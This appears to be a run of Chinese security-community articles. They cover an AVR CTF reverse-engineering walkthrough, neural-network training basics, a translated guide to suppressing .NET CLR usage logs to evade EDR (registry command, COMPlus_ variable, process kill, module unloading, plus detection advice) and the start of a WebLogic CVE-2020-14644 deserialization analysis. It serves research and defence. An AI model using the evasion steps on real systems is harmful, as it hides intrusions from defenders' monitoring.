<https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/>
intel sandy bridge微架构详解：
<https://en.wikichip.org/wiki/intel/microarchitectures/sandy_bridge_(client)#MSROM_.26_Stack_Engine>
intel sandy bridge微架构详解（中文）：
<http://www.mouseos.com/arch/intel_microarchitecture.html>
AMD 17代处理器优化说明：
<https://developer.amd.com/wordpress/media/2013/12/55723_3_00.ZIP>
架构相关的一本书：
《计算机体系结构：量化研究方法（第五版）》
Intel官方手册：
64-ia-32-architectures-optimization-manual.pdf
其他额外资料
AMD开发手册：
<https://developer.amd.com/resources/developer-guides-manuals/>
已知的CPU漏洞汇总：
<https://wiki.osdev.org/CPU_Bugs>
以上文章为 CSZQ 原创，转载请注明出处。 | 社区文章 |
# 基于纯软件环境的AVR逆向分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
##
## 一. 前言
大家好，我是来自银基安全实验室的Cure。 今天与大家分享在纯软件环境下进行AVR固件逆向破解的一些学习与思考。
AVR单片机是Atmel公司于1997年推出的RISC单片机。其中，RISC意为精简指令系统计算机。与CISC（复杂指令系统计算机）不同，RISC优选使用频率最高的简单指令，避免复杂指令，并固定指令宽度，减少指令格式和寻址方式种类，从而缩短指令周期，提升运行速度。一般地，AVR系列单片机具备1MIPS（百万条指令每秒）的高速处理能力。
AVR单片机具有多个系列，包括低档的ATtiny、中档的AT90和高档的ATmega，每个系列又包括多种产品。它们基本结构和原理相互类似，编程方法相同，而在功能和存储容量上则存在很大的差异。AVR单片机系列齐全，能够适用多种不同的场合。
作为IoT设备与传统嵌入式设备十分常见的处理器芯片，AVR程序的安全问题近年来越发得引起了人们的重视，相应的CTF挑战题目也层出不穷。然而，AVR程序的学习，尤其是其逆向技术的学习，往往需要价格昂贵的硬件开发板和一系列复杂的硬件调试工具链，为初学者带来了诸多的限制。本文通过AVR相关的CTF试题，从纯模拟工具与静态分析工具出发，详细地复现已知的基于模拟工具的解题思路，以为对该领域有兴趣的小伙伴们提供些许参考。
## 二. 工具准备
本文所复现的方法中，主要用到的静态分析工具为radare2，这是一个能够在command环境下运行的二进制分析工具，支持多种平台代码的反汇编，也集成了人性化的命令行界面。
Debian系列Linux环境中，radare2的安装十分便捷：
1. $ sudo apt-get install radare2
本文主要用到的动态分析工具为simavr和avr-gdb。
simavr，如其名称是一个软件的AVR模拟器。该模拟器基于avr-gcc，故尤其适用于Linux环境。simavr已能够比较完善地支持128KB以下大小flash组件的模拟，而对于更大的flash空间也具备一定的支持能力。simavr能够直接加载elf文件运行，也支持hex文件的运行。
Debian系列Linux环境中，simavr的安装步骤如下（推荐采用编译方式安装）
1. $ sudo apt-get install gcc make gcc-avr avr-libc libelf-dev
2. $ git clone https://github.com/buserror/simavr.git
3. $ cd simavr
4. $ make all
avr-gdb则是AVR环境下的gdb调试工具，其使用与常规x86环境下的gdb类似。Debian系列Linux环境中，可以通过apt-get
install进行安装。
1. $ sudo apt-get install gdb-avr
其他涉及到的工具主要为binutils-avr，同样可以通过apt install命令进行安装。binutils-avr工具包所包含的avr-objcopy支持对avr文件进行跨格式的复制、转换，例如从hex格式复制为bin格式文件等。binutils-avr中的avr-objdump同样能够将二进制代码反汇编，只是相对于radare2的反汇编效果而言，比较粗糙，且未集成人性化的分析功能组件。
## 三. 探索之旅
本文采用的题目是Flare On
2017年的第9题，其中，给出的素材是一个能够直接加载到开发板进行运行的hex文件。按照CTF题目的惯例，目标是找到解密后的某字符串。
### 3.1 模拟运行
面对该hex文件，首先自然想到的，是使用simavr工具将其加载运行看看具体效果。然而，simavr的执行需要指明所采用的具体处理器型号，以精确地进行模拟，如何获得处理器型号呢？抛开暴力遍历，我们不妨采用以下过程。
**第1步** ：使用vim或其他编辑工具打开该hex文件，发现其每行形如 :1000…，这是典型地intel hex格式。
**第2步** ：利用avr-objcopy工具，将hex格式的文件转为bin格式文件。
**第3步** ：利用strings命令，从bin文件中尽可能提取线索性信息。
其中，关键线索为Adruino UNO字符串，Arduino UNO是一个基于ATmega328p处理器、采用Atmel
AVR指令集平台，因而，我们提交给simavr的机器型号应是atmega328p。
**第4步** ：模拟运行
利用simavr工具中的run_avr子工具，指定机器型号为atmega328p，频率为16000000，成功运行程序。
### 3.2 静态分析
试探性地，我们使用radare2工具加载bin格式文件进行分析，看看能否找到有价值的线索。
**第1步** ：加载bin文件
**第2步** ：使用aaaaa命令进行初步分析
**第3步**
：使用afl命令列出所有函数（截图中仅给出部分），其中我们感兴趣的是位于0x000000c4（黄色文字）处的entry0函数，它是整个程序的核心入口。
**第4步** ：使用radare2的pd @ <function name>功能，对entry0函数进行反汇编，查查看其代码。
…
…
在进行一些环境、栈相关的初始化之后，entry0呈现了两个线索性的函数调用，分别位于0xcd0和0xbf8。
**第5步** ：继续使用pd @ <function name>，对内容相对更丰富、线索性更强的0xbf8处的函数进行考察，找到3个分支函数。
**第6步** ：在探索过程中，发现fcn.00000b40调用了fcn.00000ac6，其中，将r28寄存器的内容录入r24寄存器作为参数。
而fcn.00000ac6中含有明显的字符串录入（共计23个字符，这里仅给出部分）
…
更重要的是，其后存在有比较明显的校验操作，该操作决定了后续的跳转分支。通过pd <number of lines> @ <line
number>，反汇编0x00000aec处的代码，得到以下。
下面对这步可能发生的事情进行推断：
① 0xb7a处，将r28内容录入r24，并以r24作为参数，调用fcn.00000a6c；
② fcn.00000a6c中，先通过0x3d和0x3e这两个典型的SPL/SPH
I/O寄存器的读写分配了栈空间，再将23个字符录入到该栈空间（此时0x00000ae4执行完毕）；
③ fcn.00000a6c中，继续将r27:r26（也即AVR体系中的x寄存器）设定为0x056c（此时0x00000ae8执行完毕）
④
0x00000aea起，以r18中存储的0x17（即十进制23）为循环，通过z指针（最初指向栈上首字节，见0x00000a80和0x00000a82代码）分别操作每个栈上的字符，并将结果按顺序录入到由x指定的0x00000576起的空间中。其中，操作过程中eor所使用的r24即0xb7a中传入的参数，可以认为是key，而栈上的原始数据即为密文，整个操作过程即解密过程，解密结果放在0x56c起的空间里。
⑤
验证解密结果的正确性，具体地，将0x576处的字符（解密结果中的第11个字符）与0x40对比，并根据比对结果决策分支。推测，当key错误时，分支即3.1章节中默认的Pin
State输出。
### 3.3 动态调试
使用simavr，通过动态调试方法，尝试改变0x00000b7a处录入到r24中的参数值，考察输出的变化。
**第1步** ：使用–gdb选项启动simavr的run_avr子工具。
从输出可以看出，run_avr提供了一个gdb server，其监听的端口是本地的1234端口。
**第2步** ：启动avr-gdb工具，并通过target remote :1234与gdb server建立连接。
**第3步** ：通过break命令，在0x00000b7a处设置断点，再通过continue命令，运行至断点处。
**第4步**
：查看当前寄存器r28的值，并尝试将该值设置为其他值，并在0x00000afe处设置断点，再通过continue继续执行，以观测效果。以上几步可以通过脚本自动化进行，当输入正确的r28值（0xdb）时，效果如下，此时可以通过输出0x0000056c处的内容获取解密结果。
相应地，继续continue，能够看到程序完整输出。
至此，获得本题答案为[email protected]。
## 四. 头脑风暴
前面的分析中，先使用了纯静态分析铺垫，再使用了动态调试收尾。这是一种方法，但绝非唯一的方法。下面，分别从“动静结合”的角度，阐述一些解决问题过程中的实用技巧。
举例而言，第3.2章节的调试过程中，我们的函数fcn.00000b40实际包含着多个调用，具体为fcn.00000736、fcn.0000068c、fcn.00000664和fcn.00000a6c。而我们则直接将关注点定位到了fcn.00000a6c。
从静态分析的角度，这是因为fcn.00000a6c中含有明显的字符串录入操作；实际上，从动态调试入手，也可以将关注点缩减至相同的位置。
具体地，首先中断在例如0xb5c处，查看fcn.00000736函数的输入参数。
显然，r23:r22中包含的是指向Flare-On …字符串的指针，那么，不妨优先猜测，该函数的作用是输出Flare-On …
字符串，并以冒号结尾。于是，接下来的fcn.0000068c则大概率是在输出pin state，即3.1中的111…
。这样，就相对容易地排除了一部分无需关注的函数，减轻了进一步定位关键函数的难度。
##
## 五. 结语
AVR体系架构由来已久，凭借其精简高效的运行机制，为IoT与嵌入式行业所青睐。目前，业界对AVR体系的逆向研究远不如x86、arm等大牌体系结构深入，但随着近年来智能设备的兴起、汽车零配件的日益复杂化，AVR体系的安全成为了业界越发感兴趣且不得不关注的领域。
本文基于已有的安全考题，对已知的基于纯软件方式的解法进行复现，起到一个抛砖引玉的作用，也期待为苦于没有开发板与硬件工具链但对AVR安全有所兴趣想要学习、尝试的小伙伴提供些许思路。
目前，小伙伴们正在对深圳纽创信安（Open Security Research, OSR）CTF展开相关探索，之后还有更多内容与大家分享、交流。
##
## 参考文献
https://github.com/radareorg/radare2
https://github.com/buserror/simavr
http://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-7810-Automotive-Microcontrollers-ATmega328P_Datasheet.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/Flare-On%202017/Challenge9.pdf
https://www.systutorials.com/docs/linux/man/1-avr-gdb/ | 社区文章 |
# 深度神经网络障眼法（三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在上一篇文章中，我们探讨了如何将输入和输出表示为向量，以及一个训练好的深度神经网络，是如何根据一张照片来判断其中是不是一只猫的，也就是推理过程。接下来，我们开始进入另一个话题，即神经网络是如何训练的？
为此，我们需要明确两件事情。第一件事是，训练啥？第二件使其，咋训练？好了，我们下来讨论第一个问题。
## 训练啥？
首先，我们需要明确一件事情，那就是当我们说训练神经网络时，一般已经确定了以下事项：
* 选用哪种神经网络的架构？比如，选择的是卷积神经网络，还是循环神经网络，等等。
* 神经网络中含有几层？
* 每层中含有多少神经元？
* 各个层之间的神经元如何连接？
* 各个神经元使用什么样的激活函数？
如您所见，既然这么多因素都已经确定下来了，那么，还有哪些需要我们进行磨合的呢？那就是激活函数的参数，包括两部分：
* 权重w
* 偏置项b
图1 训练网络时需要调整的权重w和偏置项b
为了突出显示需要调整的这两部分，我们可以把我们的函数表达式更新为：
其中， **Θ** 表示神经网络所需的所有参数，即权重和偏置项。也就是说，用于表示神经网络的函数f的输入内容，不仅需要照片本身，而且还需要神经网络的参数。
到目前为止，我们介绍了训练神经网络时，到底要训练哪些内容，即权重和偏置项。那么，接下来我们再来说说如何训练它们。
## 如何训练？
我们已经明确了训练网络的目标，那就是找到合适的参数。那么，如何寻找这些合适的参数呢？众所周知，做事情的方式有两种，一种是一步到位，另一种是循序渐进。而训练网络参数的方式，就是属于后者。
当然，训练神经网络的思路并不复杂，比如，以监督式训练为例，首先给权重和偏置项（Θ）随机赋值，然后，拿一个训练样本（如一张照片）喂给神经网络，这时，我们就得到一个输出向量。接下来，我们可以分析输出结果与预期结果之前的差异了。通常情况下，我们会用成本函数来衡量参数的表现到底有多么“烂”，其表达式如下所示：
或者：
其中，C表示成本函数；表示神经网络的输出结果；表示预期的输出结果；x表示输入的训练样本；x表示神经网络的参数，Θ 即权重与偏移项。
成本函数的值越大，说明参数Θ
该值越小，说明参数的表现越好。所以，如果成本函数的值大于某个阈值的话，我们就需要对神经网络的参数进行相应的修改；重复该过程，直到找到令成本函数的值低于特定阈值的参数为止。当然，我们不可能每训练一个样本就调整一次参数，因为这样太过麻烦了；相反，我们可以采取其他方式，比如训练一批样本后调整一次参数，等等。
前面说过，成本函数本质上就是衡量参数的表现到底有多么“烂”的，但是，它到底是怎么衡量的呢？实际上，这里可用的方法也很多，比如，常见的一种方法是先求预期输出与实际输出之差，然后，再取平方。这样的话，实际输出与预期输出之间的差别越大，成本函数的输出也越大，并且这种“大”是非线性的，因为进行了平方运算——换句话说，这时的参数
将会遭受更大的惩罚。
下面是单个训练样本的成本计算公式：
其中，其中：当i表示正确的目标标签的索引时，的值为1，否则，其值为0。因此 ，我们的成本函数可以表示为：
例如，假设我们在训练期间将一张小猫的图片输入到神经网络中，其输出向量如下所示：
我们假设该图片的正确标签是“猫”，对应于矢量中的第二个值。理想情况下，这个预测值应该非常接近1，而不是目前的值0.127。如果网络训练状况良好的话，它应该返回类似下面这样的预测向量：
对于这个样本的预测成本计算过程为：
就本例来说，我们发现对小猫进行分类的成本是很高的。因此，我们需要继续调整网络中的一些参数，以进一步降低成本。
然而，在评估神经网络的分类效果时，当然不能只看单个训练样本的成本，而是要综合考虑所有训练样本的总体成本。一般来说，我们可以使用平均成本来衡量神经网络的整体性能，比如，计算所有样本的误差的平方的平均值，也就是所谓的均方误差（MSE）。
一般来说，用于计算平均成本的函数，一般称为损失函数。当然，损失函数可以使用不同的算法来计算训练过程中的损失。对于分类模型来说，通常会使用分类交叉熵损失函数，因为这个函数能更好地惩罚网络返回的较高置信度的误差。
## 梯度下降法
前面说过，为了改进神经网络的效果，我们就需要调整其权重和偏置，以便让平均成本变得尽可能小。换句话说，就是对Θ所代表的参数进行调整，使得函数f对于所有训练样本的平均误差最小化。那么，我们该如何调整呢？通常情况下，我们可以求助于梯度下降法。
为了帮助大家理解梯度下降，我们需要对神经网络进行简化：假设网络中只有一个可调参数Θi，而不是有成千上万个可调的参数。这样的话，我们就可以通过下图来表示参数与损失函数之间的关系了：
图2 训练网络时，可利用梯度下降法寻找令网络成本最小的参数
在上图中，x轴对应于可调参数。给定x的值，我们就可以用选择的损失函数（如MSE）来计算神经网络的平均成本。当然，为了便于可视化，参数轴已经被极度简化了——现实中，表示参数的轴应该有成千上万个，因为每个参数对应一个轴，而每个网络通常都有非常多的参数。
此外，我们可以看到，损失函数的曲线存在某些局部最小值，它对应的参数，就是神经网络的局部最优参数。在使用梯度下降法时，最初可以随机选择一组参数，然后，计算在该组参数下神经网络的损失函数的值，并顺着损失函数梯度下降最快的方向，找到这些最优参数。
稍微具体点讲，反向传播算法可以在深度神经网络的训练阶段，自动确定需要更新哪些权重和偏差以及具体更新多少。那么，为什么叫“反向传播”呢？很简单，这是因为在调整网络参数的过程中，输出层的损失将通过神经网络从后向前传播。
当然，反向传播的数学原理还是很复杂的，这里我们就不深究了。但是，有一点需要了解，那就是它不仅可以用来训练神经网络，还能用于优化对抗性样本的生成。所以，我们后面只要知道如何去用就可以了。
## 小结
在本文中，我们为读者介绍了神经网络训练过程相关的两个问题：到底训练的是什么？以及如何进行训练？同时，我们还单独介绍了一种非常常见的训练算法：梯度下降法。实际上，梯度下降法，不仅可以用于训练神经网络，而且还可以帮助我们生成对抗性样本。在下一篇文中
，我们将用Python来实现一个简单的神经网络。 | 社区文章 |
# 如何控制.NET CLR使用日志实现EDR规避
|
##### 译文声明
本文是翻译文章，文章原作者 bohops，文章来源：bohops.com
原文地址：<https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
近几年来，研究人员公开了规避端点安全解决方案（如A/V、EDR以及日志记录工具）的各种技术，其中涉及到的方法通常在具体技巧和实现上有所不同，但都是以有效规避作为最终目标。防御方可以利用操作系统自带的原生功能以及各类支持的框架来构建检测方案，其中有一种方法可以用来检测潜在的、有趣的.NET行为：监控公共语言运行时（CLR）的使用日志（Usage
Log）来检测.NET执行事件。
在本文中，我们将研究防御方如何利用.NET Usage Log进行恶意行为检测及安全取证响应，也会分析规避日志监控探测的方法，讨论捕捉Usage
Log篡改行为的潜在方式。
## 0x01 使用.NET CLR Usage Log检测可疑行为
当.NET应用被执行、或者程序集（assembly）被（攻击者）注入到另一个进程的内存空间时，.NET运行时会被加载，以便执行程序集代码、处理各种各样的.NET管理任务。其中由CLR（`clr.dll`）启动的一个任务是：当程序集首次在（用户）会话上下文中执行完毕时，CLR会以执行进程命名创建一个Usage
Log文件。这个日志文件中包含.NET程序集模块数据，目的是为.NET本地镜像自动生成（[auto-NGEN](https://stackoverflow.com/questions/20620348/how-and-when-does-ngen-exe-work)）提供信息文件。
在进程退出前，CLR通常会将信息写入如下某个文件路径：
* `<SystemDrive>:\Users\<user>\AppData\Local\Microsoft\CLR_<version>_(arch)\UsageLogs`
* `<SystemDrive>:\Windows\<System32|SysWOW6$=4>\config\systemprofile\AppData\Local\Microsoft\CLR_<version>_(arch)\UsageLogs`
比如在下图中我们可知，在首次“优雅地”结束`powershell.exe`进程前，系统会创建`powershell.exe.log`使用日志：
从DFIR（数字取证及应急响应）和威胁捕捉角度来看，分析Usage Log事件调查有很大价值（大家可疑参考MENASEC Applied Research
Team之前发表过的[研究文章](https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html)）。从端点监控角度来看，端点检测及响应方案（EDR）很可能会监控Usage Log文件创建事件来识别加载.NET
CLR的可疑的、或者不太可能出现的进程。比如，Olaf Hartong（@olafhartong）正在维护一个[Sysmon-Modular](https://github.com/olafhartong/sysmon-modular)项目，其中配置了一个规则，用来监控.NET
2.0活动以及存在风险性的LOLBIN（Living off the land
Binaries）。红队及攻击者肯定也能推测出，许多商用产品也会通过类似的方式来监控Usage Log（比如用来捕捉Cobalt
Strike的`execute-assembly`）。
在深入分析规避技术前，我们先来简单讨论下.NET中的Configuration Knobs（配置选项）。
## 0x02 .NET CLR配置选项
微软在为.NET Framework保留了大量有价值的文档并随后发布了开源的.NET
Core的同时，也为我们提供了.NET生态系统功能组件内部工作机制的有价值的信息。通常情况下，.NET是一个非常强大的开发平台以及运行时框架，可以用来构建和运行.NET托管的各种应用。.NET有一个强大功能（特别是在Windows上）：能够调整.NET公共语言运行时（CLR）的配置和行为，以方便开发及调试场景。我们可以通过.NET
CLR [Configuration
Knobs](https://github.com/steveharter/dotnet_coreclr/blob/master/Documentation/project-docs/clr-configuration-knobs.md)完成该任务，而这些配置选项由环境变量、注册表设置、配置文件/属性所控制，可以由`CLRConfig`获取。
滥用配置选项并不是一个新颖的概念。其他研究者已经探索过利用配置选项来执行任意命令以及/或者规避防御控制机制的各种技术。近期的案例包括：Adam
Chester（[@ _xpn_](https://twitter.com/_xpn_)）使用`ETWEnabled`
CLR配置选项来禁用[Windows事件跟踪（ETW）](https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/)，Paul Laîné（@am0nsec）使用`GCName`
CLR配置选项来指定自定义的[垃圾回收器DLL](https://www.contextis.com/en/blog/bring-your-own-net-core-garbage-collector)，以便加载任意代码、绕过应用控制方案。Casey
Smith（[@subTee](https://github.com/subTee
"@subTee")）也探索了各种.NET技术，包括利用[COR_PROFILER](https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html)加载非托管代码，以规避防御机制、绕过UAC；此外，[Ghost
Loader](https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/)也采用过`AppDomainManager`注入技术（@netbiosX对此有更详细的介绍）。
## 0x03 调整.NET配置选项注册表设置
有趣的是，我们可以通过在注册表中设置`NGenAssemblyUsageLog` CLR配置选项、或者配置环境变量来控制.NET Usage
Log的输入位置。我们可以设置一个任意值（比如伪造的输出位置或者垃圾数据），这样CLR将不会为.NET执行过程创建使用日志文件。我们可以通过如下注册表项来设置`NGenAssemblyUsageLog`
CLR配置选项字符串值：
HKCU\SOFTWARE\Microsoft\.NETFramework
HKLM\SOFTWARE\Microsoft\.NETFramework
在`HKCU`中设置的值适用于活动用户上下文，会影响原先使用的`<SystemDrive>:\Users\<user>\AppData\Local\Microsoft\CLR_<version>_(arch)\UsageLogs`以及/或者Microsoft
Office
Hub路径。在`HKLM`中设置的值适用于系统上下文，会影响原先使用的`<SystemDrive>:\Windows\<System32|SysWOW64>\config\systemprofile\AppData\Local\Microsoft\CLR_<version>_(arch)\UsageLogs`路径。下面我们举个例子，演示预期行为及被篡改后的行为。
比如我们可以将如下源码编译成64位NET应用`test.exe`：
在执行应用前，测试主机上的`UsageLogs`目录为空。
执行程序时，会弹出一个简单的消息框：
观察`UsageLogs`目录，可以看到系统创建了名为`test.exe.log`的一个文件，其中包含程序集模块信息：
下面，我们先从`UsageLogs`目录中删除`test.exe.log`文件：
在重新执行.NET应用前，我们先确认`HKCU`中存在`.NETFramework`注册表项，使用如下命令：
reg query "HKCU\SOFTWARE\Microsoft\.NETFramework"
此时该注册表项存在，并且不包含其他值或者子项（注意：如果`.NETFramework`不存在，则会被创建）。接下来，我们将`NGenAssemblyUsageLog`配置选项字符串值添加到`.NETFramework`中：
reg.exe add "HKCU\SOFTWARE\Microsoft\.NETFramework" /f /t REG_SZ /v "NGenAssemblyUsageLog" /d "NothingToSeeHere"
再次执行程序：
与预期相符，`test.exe.log`文件并没有在`UsageLogs`目录中出现：
大家可能会问：当我们将`NGenAssemblyUsageLog`设置为任意值时，CLR会如何处理？其实CLR只是将任意字符串“适当”插入构造的路径上。比如，如果我们将路径数据设置为`eeeee`，执行.NET应用，那么CLR会将该字符串值插入构造出的路径中：
由于这个路径不存在，因此Usage Log并不会被写入磁盘上。如下图所示，CLR会在`clr.dll`中硬编码并提取部分`UsageLogs`路径：
## 0x04 滥用.NET配置选项环境变量
我们也可以通过`COMPlus_`开头的环境变量来设置CLR配置选项。如下例所示，我们可以在命令提示符中将`COMPlus_NGenAssemblyUsageLog`设置为任意值（如`zzzz`）。当PowerShell（.NET应用）被调用时，就会从`cmd.exe`父进程继承`COMPlus_NGenAssemblyUsageLog`环境变量：
退出PowerShell后，可以发现Usage Log文件（`powershell.exe.log`）从未在`UsageLogs`目录中创建：
当Adam Chester（[@ _xpn_](https://twitter.com/_xpn_)）发表关于禁用ETW机制的.NET
CLR配置选项时，他也发布了在子进程启动时注入`COMPlus_ETWEnabled`环境变量的[PoC](https://gist.github.com/xpn/64e5b6f7ad370c343e3ab7e9f9e22503)。稍微修改程序中的部分变量后，我们可以使用这种技术来禁用Usage
Log输出，如下代码片段所示：
编译并执行程序后，在启动`PowerShell.exe`时，`COMPlus_NGenAssemblyUsageLog`环境变量会被设置为`zz`：
与预期相符，在退出PowerShell会话后，Usage Log也不会被创建：
注意：大家可以访问[此处](https://gist.github.com/bohops/a79d3e07d06546f6fc87fcc21929849f)下载修改版的PoC。
## 0x05 强制终止进程
.NET配置选项提供了一种影响日志流的优雅方式，然而我们还是有一些方法，能够在不更改配置的情况下终端Usage
Log创建过程。这些方法存在更大的风险，可能会破坏进程及程序执行流。
当程序“优雅地”退出时，Usage
Log会被生成。比如，当使用隐式或者显式`return`语句，或者在（C#）托管代码中使用[Environment.Exit()](https://docs.microsoft.com/en-us/dotnet/api/system.environment.exit?view=net-5.0)方法时，就可以优雅地退出：
然而，当进程被强制终止时，Usage Log过程会被中断，永远不会落盘。比如，我们可以使用`Process.Kill()`方法实现该效果（可能会丢失数据）：
## 0x06 模块卸载
在另一个有趣的风险测试场景中，我们可以破坏已加载的模块（DLL）来破坏进程，使其过早退出，从而破坏CLR Usage
Log创建过程。为了完成该任务，我们可以利用.NET委托函数指针以及由The
Wover（@TheRealWover）和b33f（@FuzzySec）开发的功能强大的[DInvoke](https://github.com/TheWover/DInvoke)库。在测试场景中，我们为[FreeLibrary()](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freelibrary) Win32
API函数声明了一个委托函数，调用该函数从正在运行的.NET托管进程中卸载模块。移除单个模块或者较少的模块组合可能也会达到同样的效果，然而我们将卸载多个.NET模块，以增加进程不稳定的机率，强制终止并破坏Usage
Log创建过程（备注：这里我们选择以.NET模块为目标，但也可以卸载其他DLL）。
为了成功卸载模块，我们首先必须使用DInvoke的`GetLibraryAddress()`函数来获取`FreeLibrary()`函数的库地址指针。然后，我们可以通过.NET的“Interop”服务中的[
_GetDelegateForFunctionPointer()_](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=net-5.0)
方法，将函数指针转化为`FreeLibrary()`
API方法的可调用的委托。接下来我们使用DInvoke的`GetPebLdrModuleEntry()`方法，在.NET进程的[进程执行块（PEB）](https://en.wikipedia.org/wiki/Process_Environment_Block#:~:text=In%20computing%20the%20Process%20Environment,other%20than%20the%20operating%20system.)中搜索每个模块的基地址引用，从而获取已加载的每个模块（DLL）的句柄。最后，我们调用`FreeLibrary`委托函数，配合每个模块的句柄，将其中内存中卸载。我们用来测试的PoC代码如下所示：
编译并执行代码后，Usage Log文件创建过程被成功中断：
如果大家想了解关于DInvoke的更多信息，可以阅读The
Wover（@TheRealWover）和b33f（@FuzzySec）发表的这篇[文章](https://thewover.github.io/Dynamic-Invoke/)，卸载DLL模块的PoC代码可以访问[此处](https://gist.github.com/bohops/345f52a657811bb6606fcc506ec07a10)下载。
## 0x07 防御方案
### 继续监控Usage Log文件及目录
为Usage
Log创建和修改操作实现分析、签名、检测机制。尽管有各种针对性的攻击技术，这种监控方案仍然非常有价值，攻击者在执行.NET工具时，并没有始终考虑到采用Usage
Log篡改技术。
查找（不常规的）非托管程序及脚本的日志，通常这些程序不会加载CLR。我们可以利用Olaf Hartong（@olafhartong）的Sysmon-Modular[配置规则](https://www.elastic.co/guide/en/security/master/suspicious-managed-code-hosting-process.html)，或者以这个Elastic
Security[查询规则](https://www.elastic.co/guide/en/security/master/suspicious-managed-code-hosting-process.html)作为基准。此外，Samir（@SBousseaden）也提供了非常棒的[检测技巧](https://twitter.com/SBousseaden/status/1350780409387343877)，可以监控使用.NET工具的WinRM横向移动行为。
此外，也可以审计并监控删除Usage
Log的行为，攻击者可能会删除这些文件以掩盖其踪迹（参考MENASEC的这篇[文章](https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html)）。
### 监控可疑的.NET运行时加载行为
如果攻击者采用了Usage Log规避技术，那么识别可疑的.NET CLR运行时加载行为可能是一种有趣的检测机制。非托管进程如果加载了CLR（比如MS
Office），那么可能是一种攻击特征。
### 监控对CLR配置选项的添加或修改行为
Roberto
Rodriguez（@Cyb3rWard0g）发表过一篇文章，讨论了检测对`[COMPLUS_]ETWEnabled`配置选项的修改行为，其中包括SACL审核建议、Sysmon配置设置、Sigma规则以及Yara规则。这些方法同样可疑用来检测针对`[COMPLUS_]NGenAssemblyUsageLog`配置选项的修改。简单总结以下包括如下2种方式：
1、在`HKCU\Software\Microsoft\.NETFramework`以及`HKLM\Software\Microsoft\.NETFramework`注册表项中寻找`NGenAssemblyUsageLog`字符串。Roberto表示，当启用了审核对象访问策略，并且目标注册表键的写入、设置事件被审计时，会生成Event
ID 4657：
2、在用户/系统环境变量以及临时环境变量中寻找以`COMPlus_`开头的环境变量，比如进程命令行、转换日志等。
### 监控进程模块篡改行为
在大多数环境中，监控“可疑的”进程终止事件可能不切实际，然而从正在运行的进程中卸载DLL可能是一个有趣的检测点。spotheplanet（@spotheplanet）在一篇[文章](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/etw-event-tracing-for-windows-101)中提到，我们可以使用ETW的`Microsoft-Windows-Kernel-Process`来监控模块卸载行为。 | 社区文章 |
## 前言
这里学习了Weblogic中的两条CVEs，在反序列化调用`readResolve`方法进而调用`defineClass`方法进行类的加载，并执行我们的恶意逻辑，同样也通过寻找不同于CVE-2020-2883中使用的`extract`方法，来绕过之前的CVE的黑名单过滤
## 环境搭建
参考前面的[环境](https://tttang.com/archive/1768/#toc__1)
## T3
### CVE-2020-14644
#### 原理
这个CVE主要是找到了一个在黑名单防护外的一个类`RemoteConstructor`，在该类进行反序列化调用过程中将会调用`defineClass`方法进行任意类的加载，并在之后进行了实例化的操作，造成了静态代码块中的恶意代码的执行
#### 分析
前面在原理的部分已经讲了该CVE的漏洞触发点，我们仔细的跟进一下，从漏洞原理到POC编写来学习一下这个CVE的利用方式
对于`RemoteConstructor`这个类，我们首先来看一下他的继承关系
这个类实现了`ExternalizableLite`接口，且该接口继承了`Serializable`接口，所以该类是能够进行反序列化方法的调用的
但是我们可以发现在该类中是不存在有`readObject`方法的实现的，但是存在有`readResolve`方法的实现，在反序列化的过程中将会调用这个方法
首先，我们来认识一下`readObject`方法和`readResolve`方法的区别
`readResolve`方法用于替换从流中读取的对象，将其替换为单例模式，即是确保了没有人可以通过反序列化或者序列化单例来创建另一个实例
> 当ObjectInputStream从流中读取对象并准备将其返回给调用者时，将调用readResolve方法。
> ObjectInputStream检查对象的类是否定义readResolve方法。如果定义了方法，则调用readResolve方法以允许流中的对象指定要返回的对象。返回的对象应该是与所有用途兼容的类型。如果不兼容，则在发现类型不匹配时将抛出ClassCastException
总结一下，就是在调用`readObject`方法之后将会紧接着调用`readResolve`方法，能够覆盖`readObject`的内容
好了，回到代码中来
在反序列化过程中在调用`readResolve`方法的时候将会调用该类的`newInstance`方法
在这个方法中首先调用了`getClassLoader`方法获取类加载器
也就是该类的`m_loader`属性值，但是该类的这个属性值是被`transient`修饰的，是不能够在反序列化中保存数据的，所以此时这里的`m_loader`属性为`null`
所以返回的是`Base.getContextClassLoader(this)`返回的类加载器
之后我们回到`newInstance`方法中来，调用了返回的`RemotableSupport`类对象的`realize`方法
这个方法传入的参数也就是我们在序列化时的`RemoteConstructor`类，在调用`realize`方法的开头，调用了`RemoteConstructor#getDefinition`方法获取类中的`m_definition`属性值
要保证这里的这个属性值不能为null，为什么呢？因为在之后将这个属性值传入`RemotableSupport#registerIfAbsent`方法中进行调用过程中，将会抛出异常
这里使用`assert`断言了传入的`definition`参数值不为null值
所以我们看看`m_definition`属性的来源
在`RemoteConstructor`类的构造方法中存在有对`m_definition`属性的赋值操作，所以我们需要创建一个有效的`ClassDefinition`类对象进行传入
来到`ClassDefinition`类的构造方法中
也就是需要创建一个`ClassIdentity`类对象和一个字节数组进行传入，具体应该传入什么，我们之后会提及
现在回到`RemotableSupport#realize`方法的调用中来
经过上面的分析，已经获得了我们自定义的`ClassDefinition`类对象，之后在该方法中调用了该对象的`getRemotableClass`方法获取远程类，怎么获取这个远程类的呢？我们跟进看下具体的实现代码
什么？直接返回了`m_clz`这个属性值！
好巧不巧，这个属性值因为被`transient`所修饰，也就是值是为null的，走不通了，不能通过这里传入我们的恶意类
回到`readlize`方法中
